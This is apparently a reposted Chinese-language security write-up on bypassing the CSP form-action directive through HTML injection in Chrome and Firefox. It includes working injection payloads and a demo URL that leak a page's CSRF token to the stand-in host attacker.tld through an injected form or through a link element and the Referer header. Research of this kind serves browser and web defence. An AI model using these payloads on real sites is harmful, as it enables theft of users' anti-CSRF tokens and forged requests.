本文來源:mottoin
CSP(Content-Security-Policy)是一個HTTP響應頭,該響應頭包含了指示瀏覽器如何限制頁面上的內容的指令。 例如,”form-action”指令限制了可以提交的原始表單。CSP form-action指令可以限制頁面可以提交表單到那些URL。在XSS/HTML注入錯誤的情況下,可以繞過此保護。
form-action指令
要理解為什么”form-action”指令從安全角度來說很重要,請想象下面這種情況:
Content-Security-Policy: default-src ‘none’;
<html>
<body>
<div>[Reflected XSS vulnerability here]</div>
<form method=”POST” id=”subscribe” action=”/api/v1/newsletter/subscribe”>
<input type=”hidden” name=”csrftoken” value=”5f4dcc3b5aa765d61d8327deb882cf99” />
<input type=”submit” value=”Subscribe to newsletter” />
</form>
</body>
</html>
由于CSP不允許腳本,我們不能使用腳本來提取csrf令牌。 然而,通過注入一個<form>標簽,我們可以覆蓋提交表單(包括csrf令牌)的位置:
Content-Security-Policy: default-src ‘none’;
<html>
<body>
<div><form action=”http://attacker.tld”></div>
<form method=”POST” id=”subscribe” action=”/api/v1/newsletter/subscribe”>
<input type=”hidden” name=”csrftoken” value=”5f4dcc3b5aa765d61d8327deb882cf99” />
<input type=”submit” value=”Subscribe to newsletter” />
</form>
</body>
</html>
在Chrome中繞過
可以通過將現有表單的方法(使用formmethod屬性)重寫為”GET”并將操作(使用formaction屬性)重寫為””(當前頁面)來繞過該偽指令。然后,我們將此與泄露元素相結合(例如“<link rel=’subresource’ href =’http://attacker.tld/link-subresource’>”)
Content-Security-Policy: default-src ‘none’;
<html>
<body>
<div><input value="CLICK ME FOR POC" type="submit" formaction="" form="subscribe" formmethod="get" /><input type="hidden" name="xss" form="subscribe" value="<link rel='subresource' >"/></div>
<form method="POST" id="subscribe" action="/api/v1/newsletter/subscribe">
<input type="hidden" name="csrftoken" value="5f4dcc3b5aa765d61d8327deb882cf99" />
<input type="submit" value="Subscribe to newsletter" />
</form>
</body>
</html>
當受害者點擊注入的提交按鈕時,瀏覽器將把表單值作為GET參數發送到當前頁面。 這些GET參數然后泄漏給attacker.tld,因為引用了泄露元素。換句話說,表單值(包括CSRF令牌)將通過Referer頭發送到http://attacker.tld 。 form-action繞過成功。
Demo
http://bugbounty.se/csp_bypass.php?xss=%3Cinput%20value=%22CLICK%20ME%20FOR%20POC%22%20type=%22submit%22%20formaction=%22%22%20form=%22subscribe%22%20formmethod=%22get%22%20/%3E%3Cinput%20type=%22hidden%22%20name=%22xss%22%20form=%22subscribe%22%20value=%22%3Clink%20rel=%27subresource%27%20href=%27http://attacker.tld/link-subresource%27%3E%22/%3E
后果

在Firefox中繞過
Firefox的攻擊本質上是一樣的,但不是使用”<link rel =’subresource’href =’http://attacker.tld”>”,我們使用”<a href =’http://attacker.tld’>”,使用這個的缺點是用戶必須點擊兩次而不是一次。
來源鏈接:http://www.mottoin.com/93211.html
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/135/
暫無評論